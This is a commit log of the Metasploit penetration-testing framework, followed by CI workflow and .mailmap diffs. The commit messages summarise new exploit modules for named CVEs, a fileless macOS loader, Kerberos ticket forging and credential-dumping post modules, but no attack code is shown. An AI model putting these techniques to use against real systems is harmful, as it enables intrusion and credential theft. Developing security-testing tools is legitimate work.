adfoster-r7 c436f42c8c Land #16994, Fix Multiple Registry Related Issues 2022-09-27 11:43:02 +01:00
cn-kali-team 990f45295c fix x64 2022-09-27 08:39:35 +08:00
h00die bd586962e3 add check method 2022-09-26 17:51:07 -04:00
h00die a39b1c9fe5 msftidy_docs 2022-09-26 15:56:43 -04:00
h00die acba21a899 mobile mouse server exploit 2022-09-26 15:56:06 -04:00
h00die 61f576d3e1 mobile mouse server exploit 2022-09-26 15:45:42 -04:00
h00die 11a21737bc move print statement 2022-09-23 17:57:40 -04:00
Metasploit 4c218d733e automatic module_metadata_base.json update 2022-09-23 15:31:04 -05:00
Grant Willcox a48c2d9e72 Land #17033, hikvision password reset via inproper authorization logic - CVE-2017-7921 2022-09-23 15:01:04 -05:00
Grant Willcox 0908006466 Land #16985, wifi mouse rce - CVE-2022-3218 2022-09-23 14:46:49 -05:00
Grant Willcox 828cdb8862 Fix a typo 2022-09-23 14:20:18 -05:00
Grant Willcox b62f163696 Update documentation on module and exploit a little more to make things a bit clearer 2022-09-23 14:08:18 -05:00
Grant Willcox 2958a43a6a Update to reflect fact that bug is an improper authentication logic bug and to randomize password for auth parameter since it is ignored 2022-09-23 12:19:29 -05:00
Metasploit c96a0f8aa8 automatic module_metadata_base.json update 2022-09-23 11:55:16 -05:00
Jack Heysel 2b5e85cd27 Land #17012, Veritas Backup Agent RCE
This module exploits a chain of the vulnerabilities CVE-2021-27876,
CVE-2021-27877 and CVE-2021-27878 in Veritas Backup Exec Agent which
leads to remote code execution with privileges of system or root user
2022-09-23 12:31:46 -04:00
h00die-gr3y f2d357eda1 updated documentation with camera specifications 2022-09-23 09:38:37 -05:00
Grant Willcox edc37835e5 Add more nil checks in, update some of the check code to catch an edge case, update notes to account for indicators of compromise, and fix some extra issues noticed on second round of review 2022-09-23 09:38:35 -05:00
Grant Willcox 9abe1649ff Sanitize XML data prior to adding it to the XML POST request and also change the ID option to an integer from a string to match expectations 2022-09-23 09:38:35 -05:00
Grant Willcox 3ca34568c2 Clean up some of the documentation and module code and descriptions 2022-09-23 09:38:12 -05:00
h00die-gr3y 37caf6dae5 removed exploit information from info section 2022-09-23 09:38:11 -05:00
h00die-gr3y a4a12d06bc improved error handling 2022-09-23 09:38:10 -05:00
h00die-gr3y 5ed7ff7f52 init commit module and documentation 2022-09-23 09:38:05 -05:00
adfoster-r7 263355d320 Land #17056, Add git docs 2022-09-23 15:14:46 +01:00
space-r7 31e583ffc1 use permalinks on references 2022-09-23 08:53:33 -05:00
Metasploit b1a6d9d307 Bump version of framework to 6.2.20 2022-09-23 08:09:46 -05:00
alex d5dcca899d Fix description scenario 2022-09-23 10:51:36 +03:00
bcoles 5531e3dcab Msf::Post::Windows::ExtAPI: Remove load_extapi method 2022-09-23 17:41:20 +10:00
c0rs 425d58dd15 fix check methos output in Veritas BE rce
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2022-09-23 09:46:52 +03:00
c0rs 04c897dbeb Fix description info Veritas BE RCE
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2022-09-23 09:45:18 +03:00
c0rs a8210bfe70 add autocheck to veritas BE RCE
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2022-09-23 09:44:39 +03:00
space-r7 7ae91a9a39 add to ignored wordlist, add syntax highlighting 2022-09-22 17:59:49 -05:00
space-r7 1885e23a84 add reference to Git docs 2022-09-22 16:53:37 -05:00
space-r7 18efef4b76 add documentation for Git mixin 2022-09-22 16:45:43 -05:00
Spencer McIntyre 650be83ebb More rubocop fixes and switch to Tempfile 2022-09-22 17:21:51 -04:00
Spencer McIntyre 59570336bd Don't call #generate_stage in single payloads
Single payloads should be using #generate because they are not staged.
2022-09-22 14:45:54 -04:00
Spencer McIntyre 74ca962197 Bump metasploit-payloads to 2.0.96
Pulls in:
  * rapid7/metasploit-payloads#585
  * rapid7/metasploit-payloads#587
2022-09-22 13:35:29 -04:00
Spencer McIntyre 83de0924f0 Move #generate_stage to #generate for singles 2022-09-22 12:55:41 -04:00
Redouane NIBOUCHA 8b601c9b17 If ForceExploit is set, skip calling module_check 2022-09-22 17:33:24 +02:00
Niboucha Redouane 93cad400e8 Update error message if the kernel offsets are not supported
Co-authored-by: Brendan <bwatters@rapid7.com>
2022-09-22 17:28:36 +02:00
cgranleese-r7 50685161ef Allow user_id to be configurable in ticket forging 2022-09-22 14:18:17 +01:00
usiegl00 2833f504d4 Back from the dyld: a fileless loader. (Again.)
By replicating the functionality of APIs::dlopen_from, we can bypass the
temporary file created when calling NSCreateObjectFileImageFromMemory on
macOS 12 and above. Constructing a custom JustInTimeLoader and running
through all the dyld calls required to fix it up manually results in
fileless MachO execution.
2022-09-22 17:50:04 +09:00
bcoles eef42884e0 enum_tokens: Cleanup 2022-09-22 12:04:24 +10:00
Spencer McIntyre 095a861783 Convert REG_DWORD and REG_QWORD values to integers 2022-09-21 17:14:47 -04:00
h00die eb516f402e wifi mouse doc updates 2022-09-21 16:38:50 -04:00
h00die 32402c0e6d wifi mouse doc updates 2022-09-21 16:35:08 -04:00
Grant Willcox 605db0160d Fix up documentation 2022-09-21 15:02:04 -05:00
skylerknecht 354be473a3 Change how bof arguments are processed 2022-09-21 13:25:45 -04:00
Spencer McIntyre 0c5377b808 Consolidate registry value conversion logic 2022-09-21 09:06:58 -04:00
Spencer McIntyre d82774be59 Test and handle REG_QWORD 2022-09-20 16:31:54 -04:00
Spencer McIntyre 2654752585 Fix REG_EXPAND_SZ correctly 2022-09-20 16:31:47 -04:00
h00die 0bcdc3fadb idrac login updates 2022-09-20 16:20:24 -04:00
h00die 84f0f518a8 more vcenter post module cleanup 2022-09-18 21:39:36 -04:00
Jan Rude 2e5349b27f use vars_get
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-09-16 13:50:44 +02:00
Jan Rude f7c11eb84f use correct CheckCode
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-09-16 13:49:41 +02:00
Jan Rude ee67186488 compare rex::Version
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-09-16 13:47:58 +02:00
Jan Rude f260636975 use safe navigation operator
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-09-16 13:47:04 +02:00
Jan Rude 6fe487c4b8 use one liner
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-09-16 13:46:02 +02:00
Jan Rude e5e312199a use correct checkcode
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-09-16 13:45:29 +02:00
Jan Rude 62e0500729 Update syncovery_file_sync_backup.rb 2022-09-16 13:38:37 +02:00
jrude 8f6fd55d9f add review suggestions 2022-09-16 13:34:06 +02:00
Jan Rude 2fc637438f use safe navigation operator
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-09-16 11:25:04 +02:00
Jan Rude 8332bff1d8 use correct if statement
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-09-16 11:21:35 +02:00
Jan Rude 2eb4c27d0c remove unused proof
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-09-16 11:21:11 +02:00
cn-kali-team 35a33c9710 rename,delete useless code 2022-09-16 11:38:48 +08:00
root 90221fd62d added ascii art and fixed typo for bof_cmd_opts 2022-09-15 16:06:25 -04:00
Spencer McIntyre 37d3c296ad Add compiler support when mingw is available 2022-09-15 16:06:25 -04:00
Spencer McIntyre 4e0111f119 Refactor BofPack, raise an exception 2022-09-15 16:06:25 -04:00
Spencer McIntyre f7c3c50544 Apply rubocop changes 2022-09-15 16:06:25 -04:00
Spencer McIntyre 0f768b2a46 Add entry point validation 2022-09-15 16:06:25 -04:00
Spencer McIntyre 014e627696 Use multiple TLVs instead of load_and_run 2022-09-15 16:06:24 -04:00
skylerknecht 2f2651f768 Added support for identfying arguments provided without fstring 2022-09-15 16:06:24 -04:00
skylerknecht 07f5b2e108 Upgraded the tab complete 2022-09-15 16:06:24 -04:00
Spencer McIntyre 5c67938157 Rename some things that are not commands 2022-09-15 16:06:24 -04:00
Spencer McIntyre 0f16376674 Validate architecture compatibility 2022-09-15 16:06:24 -04:00
root 69ee6b72d3 Update how arguments are completed and passed 2022-09-15 16:06:24 -04:00
root e8bfb7ed41 Cleaned up print statements, added banner 2022-09-15 16:06:16 -04:00
Kevin Clark 107a701247 wip: bofloader client extension 2022-09-15 16:05:55 -04:00
h00die bf1ebe19a6 cve for wifi mouse 2022-09-15 15:12:35 -04:00
alex 27744edbb3 Fix dwelch-r7 comments: use fail_with and change return value in tls_enabling 2022-09-15 20:13:25 +03:00
c0rs aa87ce7018 Fix option names 2022-09-15 19:02:25 +03:00
c0rs 0216735a83 Fix option name and description
Co-authored-by: dwelch-r7 <Dean_Welch@rapid7.com>
2022-09-15 18:58:32 +03:00
Spencer McIntyre 3e65ba49ef Land #16976, Add documentation for ticket forging
Add documentation for kerberos ticket forging
2022-09-15 09:02:40 -04:00
Spencer McIntyre c5c4cc0ebb Fix a small doc typo left over from the rename 2022-09-15 08:58:16 -04:00
krastanoel 60569b8b97 Add Gitea Git fetch RCE module - CVE-2022-30781 2022-09-15 19:43:12 +07:00
Grant Willcox e7d2fdfe0a Rename module and fix up some issues with documentation 2022-09-14 17:03:42 -05:00
h00die eac559df1f updates to idrac json handling 2022-09-14 16:39:19 -04:00
adfoster-r7 3891413f92 Update documentation 2022-09-14 17:20:57 +01:00
c0rs 9445731b7e Change author mail 2022-09-13 22:50:00 +03:00
c0rs 03441a72c6 RuboCop Fixes for module Veritas Backup Exec Agent Remote Code Execution 2022-09-13 18:27:21 +03:00
c0rs efbe06f944 Add module Veritas Backup Exec Agent Remote Code Execution 2022-09-13 18:18:52 +03:00
cn-kali-team 2cca50956b MobaXtrem 2022-09-13 08:14:57 +08:00
cn-kali-team 91be73b077 lint 2022-09-12 21:08:48 +08:00
cn-kali-team 2726f04e43 Gather_RedisDesktopManager_Password 2022-09-12 20:40:49 +08:00
Jan Rude 476f18ff1f add disclosure date 2022-09-12 10:07:02 +02:00
jrude 70ccbd8079 inform user about IOC 2022-09-12 09:30:50 +02:00
bcoles 302bcfbc03 enum_domain_tokens: Cleanup and fix group member retrieval 2022-09-10 13:54:39 +10:00
h00die 803fff9003 wifi remote remove unused code 2022-09-09 06:06:52 -04:00
h00die 66bbe98f5f wifi remote with better cmd stagers 2022-09-09 05:57:36 -04:00
Jan Rude fa2f2e6d5d linting
This is getting ridiculous...
2022-09-08 19:51:56 +02:00
Jan Rude d64719927b linting 2022-09-08 19:42:31 +02:00
Jan Rude 25757d45be linting again... 2022-09-08 19:36:17 +02:00
jrude 9ce9c63a03 use json 2022-09-08 19:24:41 +02:00
Spencer McIntyre 80e4abe2b4 Support skipping tests and skip views on XP
XP doesn't support the /reg: command so skip those tests.
2022-09-08 13:12:01 -04:00
jrude b649e26d84 corrections 2022-09-08 19:09:35 +02:00
Spencer McIntyre 61a2bde27d Fix and test writing REG_EXPAND_SZ values 2022-09-08 12:18:28 -04:00
Jan Rude 3179fc11b3 use json parser
Co-authored-by: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com>
2022-09-08 17:55:48 +02:00
Jan Rude 8ba86a646c linting 2022-09-08 11:28:27 +02:00
Jan Rude b0a6c60684 linting 2022-09-08 11:15:08 +02:00
Jan Rude 4fc898e347 Update syncovery_linux_token_cve_2022_36536.rb 2022-09-08 11:03:25 +02:00
jrude 6fe97a8e74 linting 2022-09-08 08:50:50 +02:00
Jan Rude 90447d1832 Update syncovery_linux_rce_2022_36534.rb 2022-09-07 20:28:10 +02:00
Jan Rude 257d503525 Update syncovery_linux_rce_2022_36534.rb 2022-09-07 20:21:20 +02:00
Jan Rude 868f3d940c use vars_get 2022-09-07 20:16:40 +02:00
Spencer McIntyre eaf149ac21 Add a missing type to #type_to_s 2022-09-07 11:52:12 -04:00
Spencer McIntyre e75429a434 Handle nil from shell_registry_getvalinfo 2022-09-07 11:19:56 -04:00
Jan Rude 0fb289aa7b Update syncovery_linux_rce_2022_36534.rb 2022-09-07 16:31:54 +02:00
Spencer McIntyre f37fdb994c Fix handling non-existant keys for Powershell
Powershell returns an empty string instead of `Error:` so when the
response doesn't match the expected pattern, treat it as not existing
and return nil. This is probably for the best since the string `Error:`
may be different on systems with a none English based locale.
2022-09-07 09:48:01 -04:00
jrude 01556b22d5 Syncovery For Linux - Auth. RCE (CVE-2022-36534) 2022-09-07 13:34:48 +02:00
jrude 8cf9af812b Syncovery Insecure Session Token Generation (CVE-2022-36536) 2022-09-07 13:17:22 +02:00
Jan Rude 9cb136a209 Wording 2022-09-07 13:15:36 +02:00
jrude 1757a5dedf Syncovery login brute-force utility 2022-09-07 12:46:32 +02:00
Spencer McIntyre 79046c5259 Add a REG_BINARY test 2022-09-06 16:53:36 -04:00
Spencer McIntyre fb23d492a9 Fix shell registry commands
This fixues up the commands to pass the unit tests and addresses a few
inconsistencies.
2022-09-06 16:53:36 -04:00
Spencer McIntyre f1a7be6c49 Fix how REG_MULTI_SZ is handled 2022-09-06 16:53:30 -04:00
Jeffrey Martin e978ec3853 guard for all possible RubySMBError conditions 2022-09-06 09:12:19 -05:00
npm-cesium137-io 8eed4fb617 thycotic_secretserver_dump refinements
Significant refactor of exception handling: less 'fail_with', more
'return false'.

Optimized interactions with SQL for less code redundancy.

Removed references to LOOT_ONLY in the module info.

Various tweaks and bug fixes.
2022-09-05 11:00:12 -04:00
h00die c6d453f5b9 fix docs 2022-09-05 08:23:40 -04:00
h00die 3f7e0667f6 wifi mouse rce 2022-09-05 08:16:49 -04:00
h00die 8c4f151c73 update idrac login scanner to work with v8 and v9 2022-09-04 09:59:15 -04:00
h00die 69cff0cb03 print_error and return over fail_with when possible 2022-09-03 15:46:51 -04:00
adfoster-r7 edef4022cd Add documentation for kerberos ticket forging 2022-09-02 16:36:40 +01:00
adfoster-r7 e4c9721a32 Land #16707, Add Silver and Golden ticket forging module 2022-09-02 11:29:36 +01:00
Grant Willcox 2966ec3504 Add in ruby/debug to Gemfile and also provide example of how to create a launch.json file to use it with vscode-rdbg 2022-09-01 13:35:08 -05:00
dwelch-r7 5f85175f56 Add module for golden/silver ticket forging 2022-09-01 16:12:07 +01:00
npm-cesium137-io da43f9c069 Refactor thycotic_secretserver_dump MKII
Removed all logic around the isSalted column since I have no idea what
that flag is actually supposed to represent.

Further optimized Thycotic decryption method for efficiency.

Fixed where the revision digit was being truncated after converting
ss_build to float.

Removed the offline 'decrypt' action as it required setting a reserved
value for session in order to operate.

Minor tweaks & correct typos and formatting.

Updated documentation.
2022-08-29 11:45:18 -04:00
npm-cesium137-io dbbccf43ef thycotic_secretserver_dump offline support
Added support for sessionless execution if the SESSION is set to -1.

Misc cleanup.
2022-08-27 13:12:31 -04:00
npm-cesium137-io be2a8e564f Refine thycotic_secretserver_dump
Added much-needed support for SQL integrated authentication.

Significant improvement to the decryption routine: better version
detection and less churning through faulty decryption attempts.

Various tweaks and optimizations based on feedback.

Lots of bug fixes.
2022-08-27 09:05:16 -04:00
npm-cesium137-io d3ba830dc2 Refactor thycotic_secretserver_dump MKI
Re-worked version detection code after working with earlier builds of
Secret Server.

Removed the LastModifiedDate time stamp from the SQL query as it was not
available in any but late versions.

Added logic for dealing with SQL schema differences between versions.

Added support for earlier builds of Secret Server, including pre-10.4
instances, which use different encryption mechanisms.

Significant refactor of several methods to support legacy versions of
Secret Server.

Re-designed the workflow: module now has three actions, "export" dumps
the encrypted CSV, "decrypt" will decrypt an exported CSV and "dump"
(default) does both.

Various bug-fixes and tweaks based on feedback.

Changed some of the wording of output messages.
2022-08-25 15:36:01 -04:00
npm-cesium137-io b5a5fb23fb Add thycotic_secretserver_dump post module
Initial commit for post module targeting Windows servers with Secret
Server installed.
The module can decrypt secrets from Secret Server version 10.4 - 11.2
provided they are not protected by HSM.
An additional auxiliary module is being developed to perform offline
decryption and recovery of the database using the loot extracted via
this module.
2022-08-22 14:41:33 -04:00
Christophe De La Fuente 223f21b114 Land #16770, Kerberos CCache File Reuse 2022-08-18 19:18:27 +02:00
Spencer McIntyre 596fae611f Fix an issue caused my a missing renew_till field
When #renew_till is nil, the encoding will fail. This should be encoded
as 0 in this case.
2022-08-18 11:35:39 -04:00
Spencer McIntyre 009ada3cc4 Fix issues from the rebase 2022-08-18 11:35:29 -04:00
h00die df35cb2040 ipv4 checking in vcenter 2022-08-14 16:48:38 -04:00
Redouane NIBOUCHA b0d5a6bec4 Rubocop fix 2022-08-11 13:22:51 +02:00
Redouane NIBOUCHA e612f02ecb Add MAX_TRIES option, address the feedback of bwatters-r7 2022-08-11 13:21:14 +02:00
h00die c51930dd66 remove erikwynter modules for time being 2022-08-06 14:11:37 -04:00
npm-cesium137-io ed3a0959ae vcenter post lib and spec 2022-08-06 14:01:56 -04:00
Spencer McIntyre 7da5f2ad4a Changes from PR feedback 2022-07-28 16:05:22 -04:00
Spencer McIntyre 1ed064c1ea Log when a cached credential is used 2022-07-28 16:03:24 -04:00
Spencer McIntyre 52e84fa328 Add explicit ticket support for WinRM modules 2022-07-28 16:03:24 -04:00
Spencer McIntyre 942259d44b Add logging for why credentials are filtered 2022-07-28 16:03:24 -04:00
Spencer McIntyre 95d8b7005e Allow reusing cached and explicit CCACHE files 2022-07-28 16:03:22 -04:00
Giacomo Casoni 76f6eda5a9 Using FileDropper Mixin 2022-07-27 19:32:50 +02:00
adfoster-r7 93ad8ae232 Land #16760, Send delegated credentials using WinRM 2022-07-27 17:08:29 +01:00
Ashley Donaldson f16e2cfb35 Send TGT to WinRM to allow further access of network resources (kerberos double hop) 2022-07-27 16:19:09 +01:00
Redouane NIBOUCHA 011f0ac990 Add comment to make it easier to add offsets for more kernels 2022-07-26 22:20:12 +02:00
Redouane NIBOUCHA 78dae84871 Updates to the C source code (execl instead of execve, removal of some old comments) 2022-07-25 22:18:47 +02:00
Redouane NIBOUCHA ae9932d921 Rubocop fixes, register_dir_for_cleanup instead of register_file_for_cleanup in upload_source 2022-07-25 21:31:20 +02:00
Redouane NIBOUCHA 88d069a77d Add option for compiling the exploit on the target 2022-07-25 01:08:53 +02:00
Niboucha Redouane 9d3a57c2c5 Update the check method
Co-authored-by: bcoles <bcoles@gmail.com>
2022-07-23 02:44:26 +02:00
Redouane NIBOUCHA 37f1fdd47b Add module docs, add Ubuntu 22.04 offsets, update check method 2022-07-22 03:30:03 +02:00
Redouane NIBOUCHA 73db035e57 Add more offsets to the exploit, clean up the exploit C source, add check method 2022-07-21 01:22:20 +02:00
Redouane NIBOUCHA fe2e413426 Add exploit for CVE-2022-34918 2022-07-20 13:51:22 +02:00
Spencer McIntyre 1e903807bb Land #16730, Add mssql Kerberos auth support 2022-07-15 15:00:14 -04:00
adfoster-r7 37f7c15b1e Update mssql login module to support kerberos authentication 2022-07-15 17:33:54 +01:00
adfoster-r7 f2ff7bb913 Add mssql kerberos authentication 2022-07-15 17:26:10 +01:00
adfoster-r7 9579e355c1 Land #16749, Add winrm kerberos authentication support 2022-07-15 16:24:36 +01:00
adfoster-r7 f404fd9abe Land #16700, LDAP Kerberos and NTLM authentication 2022-07-11 13:27:55 +01:00
Ashley Donaldson 39f90d95b1 Create sessions for winrm_login successes.
Reuses the connection, so that authentication doesn't need to happen again
2022-07-08 16:57:09 +10:00
Ashley Donaldson d3e7152954 Changes from code review 2022-07-08 11:47:54 +10:00
Spencer McIntyre ade10650a8 Set the NTLM flags for LDAP authentication
The sign and seal flags need to be removed for LDAP. Because sign and
seal are not set, key56 and key128 can also be removed.

The rest of the flags are taken from
https://github.com/rapid7/ruby_smb/blob/cc5228730f9bc39215322ab6e07fd8da33602bb9/lib/ruby_smb/ntlm.rb#L31
2022-07-07 13:20:34 -04:00
Ashley Donaldson f9f3be3644 Fix unit tests 2022-07-07 18:04:22 +10:00
Ashley Donaldson b2eb348d94 Added WinRM using Kerberos, including encryption 2022-07-07 13:17:09 +10:00
Spencer McIntyre b8ca08d3ce Support NTLM and kerberos auth in LDAP 2022-07-06 17:12:27 -04:00
Spencer McIntyre cfc24b3625 Land #16670, Add initial smb kerberos auth support 2022-07-06 15:48:56 -04:00
Spencer McIntyre 4abef7d373 Remove an unused option and require SmbRhostname 2022-07-06 15:16:50 -04:00
Spencer McIntyre e53bccae85 Set the session key for older SMB dialects too 2022-07-06 15:16:40 -04:00
adfoster-r7 aea37f7137 Add initial SMB Kerberos authentication support 2022-07-06 16:15:33 +01:00
adfoster-r7 5a6adf7c01 Land #16719, Updated CCache Data Module 2022-07-04 17:52:04 +01:00
Spencer McIntyre d31ffa27d3 Add and use a new kerberos CCache model definition 2022-07-01 11:57:30 -04:00
Spencer McIntyre 8c3d7ff42f Rename Thrift related definitions
These definitions are only used by one exploit. BinData registers the
class name globally meaning that the Header and Data types were being
defined here which conflicted with those needed for Kerberos.
2022-07-01 11:56:55 -04:00
adfoster-r7 e40e835fd8 Land #16706, Kerberos login enhancements 2022-06-30 14:51:30 +01:00
adfoster-r7 f508341155 Land #16705, Fix bugs in previous etypes work 2022-06-29 18:11:25 +01:00
Ashley Donaldson 4f650e7c93 Rename parameter 2022-06-28 08:12:56 +10:00
Ashley Donaldson 997f9b92d9 Changes from code review 2022-06-24 09:33:57 +10:00
Ashley Donaldson 96046f9aec Remove unnecessary freeze calls
Co-authored-by: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com>
2022-06-24 08:36:44 +10:00
Ashley Donaldson 2cce4ac1c1 Fix unit tests 2022-06-23 16:55:30 +10:00
Ashley Donaldson bcd30b9be8 Don't error if it's not 12, as this can occur on older systems 2022-06-23 11:52:55 +10:00
Ashley Donaldson 2553bae018 Report correct password when clock is wrong or password has expired 2022-06-23 11:33:45 +10:00
Ashley Donaldson 3e33e2694d Include information on whether account is disabled or locked.
We can do this more precisely for Windows' implementation of Kerberos
by using the undocumented PA-PW-SALT entry.
2022-06-23 10:46:25 +10:00
Ashley Donaldson 8d1d2d5aad Fix bugs from #16685 2022-06-23 10:20:59 +10:00
adfoster-r7 89187c1fa9 Land #16685, Add missing Kerberos encryption types 2022-06-22 13:13:30 +01:00
dwelch-r7 e672fad870 Land #16689, Update Kerberos to support host addresses in tickets 2022-06-22 12:52:17 +01:00
Ashley Donaldson a4a0fc3028 Changes from code review.
Use kwargs instead of default values for rarer crypto args.
Revert case-sensitivity change; we'll leave krb5 on Linux til later.
More constants
2022-06-22 16:03:36 +10:00
Ashley Donaldson 15446fd173 Incorporated new encryption methods into login scanner, including negotiating 2022-06-22 09:36:25 +10:00
Ashley Donaldson 19b62a5af6 Support several new encryption types for Kerberos.
Supports DES-CBC-MD5, DES3-CBC-SHA1, AES128, AES256
2022-06-22 09:13:33 +10:00
dwelch-r7 81a37ecf88 Land #16625, Add Kerberos LoginScanner support 2022-06-20 17:14:52 +01:00
adfoster-r7 f8901a8b17 Add Kerberos LoginScanner support 2022-06-20 16:38:32 +01:00
adfoster-r7 3f56f9891d Update keberos to support host addresses in tickets 2022-06-18 04:16:36 +01:00
dwelch-r7 ac5a885f16 Land #16660, Fix Kerberos flags decoding logic 2022-06-17 17:38:09 +01:00
dwelch-r7 3ce8b2e3bc Land #16678, Support decoding pa_data as part of kdc enc response 2022-06-17 17:19:45 +01:00
giacomo270197 9160573d0c Better cleanup for Linux 2022-06-16 23:08:32 +02:00
giacomo270197 7963b22fa5 Added Windows support 2022-06-16 22:37:56 +02:00
giacomo270197 aef69d1c43 Further changes as suggested 2022-06-16 21:04:57 +02:00
giacomo270197 4c17a3c342 Fixed documentation spelling and presentation. Changed to new file upload API 2022-06-16 18:59:39 +02:00
giacomo270197 b23e2207c2 Removed a rogue require statement 2022-06-16 16:42:03 +02:00
giacomo270197 91d83e966c Changed documentation to fit targets and added installation instructions. Added requests to delete .htaccess 2022-06-16 16:24:17 +02:00
adfoster-r7 5dd650fc76 Support decoding pa_data as part of kdc enc response 2022-06-15 20:46:45 +01:00
giacomo270197 ba76c5702d Code changes, included metasploit version comparison utilities, removed Linux targets 2022-06-14 20:45:35 +02:00
giacomo270197 feb13174be Fixed documentation presentation 2022-06-14 10:41:43 +02:00
giacomo270197 cb1e72461f Renamed username to email to better reflect the user input nature. Created module documentation under /documentation/modules/exploit/multi/http/qdpm_authenticated_rce.md 2022-06-14 10:35:43 +02:00
giacomo270197 c906cf8fa2 Fixed EDB reference 2022-06-13 17:41:34 +02:00
adfoster-r7 affc5bc294 Fix Kerberos flags decoding logic 2022-06-09 12:22:20 +01:00
Grant Willcox 34de5cf5e6 Land PR #16658 - Move kerberos tests to be under the remote folder
Move Kerberos tests to be under the remote folder to match the actual location of the respective library files in Metasploit Framework.
2022-06-08 11:01:05 -05:00
adfoster-r7 f1e5376414 Move kerberos tests to be under the remote folder 2022-06-08 03:21:25 +01:00
1731 changed files with 149271 additions and 33918 deletions
+3 -4
View File
@@ -38,22 +38,21 @@ jobs:
fail-fast: true
matrix:
ruby:
- 2.7
- '2.7'
name: Ruby ${{ matrix.ruby }}
steps:
- name: Checkout code
uses: actions/checkout@v2
uses: actions/checkout@v3
- name: Setup Ruby
uses: ruby/setup-ruby@v1
with:
ruby-version: ${{ matrix.ruby }}
ruby-version: '${{ matrix.ruby }}'
bundler-cache: true
working-directory: docs
- name: build
working-directory: docs
run: |
bundle exec ruby build.rb
bundle exec ruby build.rb --production
+6 -6
View File
@@ -28,7 +28,7 @@ jobs:
handle-labels:
runs-on: ubuntu-latest
steps:
- uses: actions/github-script@v3
- uses: actions/github-script@v6
with:
github-token: ${{secrets.GITHUB_TOKEN}}
script: |
@@ -59,7 +59,7 @@ jobs:
comment: `
Thanks for your pull request! Before this can be merged, we need the following documentation for your module:
- [Writing Module Documentation](https://github.com/rapid7/metasploit-framework/wiki/Writing-Module-Documentation)
- [Writing Module Documentation](https://docs.metasploit.com/docs/development/quality/writing-module-documentation.html)
- [Template](https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/module_doc_template.md)
- [Examples](https://github.com/rapid7/metasploit-framework/tree/master/documentation/modules)
`
@@ -202,16 +202,16 @@ jobs:
if (config.comment) {
const precedingWhitespaceLength = config.comment.split("\n")[1].search(/\S/);
const commentWithoutPreceedingWhitespace = config.comment.split("\n").map(line => line.substring(precedingWhitespaceLength)).join("\n").trim();
await github.issues.createComment({
const commentWithoutPrecedingWhitespace = config.comment.split("\n").map(line => line.substring(precedingWhitespaceLength)).join("\n").trim();
await github.rest.issues.createComment({
issue_number: context.issue.number,
owner: context.repo.owner,
repo: context.repo.repo,
body: commentWithoutPreceedingWhitespace
body: commentWithoutPrecedingWhitespace
});
}
if (config.close) {
await github.issues.update({
await github.rest.issues.update({
issue_number: context.issue.number,
owner: context.repo.owner,
repo: context.repo.repo,
+3 -3
View File
@@ -35,7 +35,7 @@ jobs:
fail-fast: true
matrix:
ruby:
- 2.7
- '2.7'
name: Lint msftidy
steps:
@@ -43,7 +43,7 @@ jobs:
run: sudo apt-get install libpcap-dev graphviz
- name: Checkout code
uses: actions/checkout@v2
uses: actions/checkout@v3
# Required to checkout HEAD^ and 3a046f01dae340c124dd3895e670983aef5fe0c5 for the msftidy script
# https://github.com/actions/checkout/tree/5a4ac9002d0be2fb38bd78e4b4dbde5606d7042f#checkout-head
with:
@@ -51,7 +51,7 @@ jobs:
- uses: ruby/setup-ruby@v1
with:
ruby-version: ${{ matrix.ruby }}
ruby-version: '${{ matrix.ruby }}'
bundler-cache: true
env:
BUNDLE_WITHOUT: "coverage development pcap"
+10 -9
View File
@@ -33,7 +33,7 @@ jobs:
name: Docker Build
steps:
- name: Checkout code
uses: actions/checkout@v2
uses: actions/checkout@v3
- name: docker-compose build
run: |
@@ -64,18 +64,19 @@ jobs:
fail-fast: true
matrix:
ruby:
- 2.7
- 3.0
- 3.1
- '2.7'
- '3.0'
- '3.1'
- '3.2'
os:
- ubuntu-20.04
- ubuntu-latest
exclude:
- { os: ubuntu-latest, ruby: 2.7 }
- { os: ubuntu-latest, ruby: 3.0 }
- { os: ubuntu-latest, ruby: '2.7' }
- { os: ubuntu-latest, ruby: '3.0' }
include:
- os: ubuntu-latest
ruby: 3.1
ruby: '3.1'
test_cmd: 'bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content" DATASTORE_FALLBACKS=1'
test_cmd:
- bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content"
@@ -93,14 +94,14 @@ jobs:
run: sudo apt-get install libpcap-dev graphviz
- name: Checkout code
uses: actions/checkout@v2
uses: actions/checkout@v3
- name: Setup Ruby
env:
BUNDLE_WITHOUT: "coverage development pcap"
uses: ruby/setup-ruby@v1
with:
ruby-version: ${{ matrix.ruby }}
ruby-version: '${{ matrix.ruby }}'
bundler-cache: true
- name: Create database
+25 -27
View File
@@ -1,45 +1,20 @@
acammack-r7 <acammack-r7@github> <acammack@aus-mbp-1099.aus.rapid7.com>
acammack-r7 <acammack-r7@github> <adam_cammack@rapid7.com>
acammack-r7 <acammack-r7@github> <Adam_Cammack@rapid7.com>
adamgalway-r7 <adamgalway-r7@github> <adam_galway@rapid7.com>
adfoster-r7 <adfoster-r7@github> <alandavid_foster@rapid7.com>
bcook-r7 <bcook-r7@github> <bcook@rapid7.com>
bcook-r7 <bcook-r7@github> <busterb@gmail.com>
bturner-r7 <bturner-r7@github> <brandon_turner@rapid7.com>
bwatters-r7 <bwatters-r7@github> <bwatters@rapid7.com>
cdelafuente-r7 <cdelafuente-r7@github> Christophe De La Fuente <christophe_delafuente@rapid7.com>
cdoughty-r7 <cdoughty-r7@github> <chris_doughty@rapid7.com>
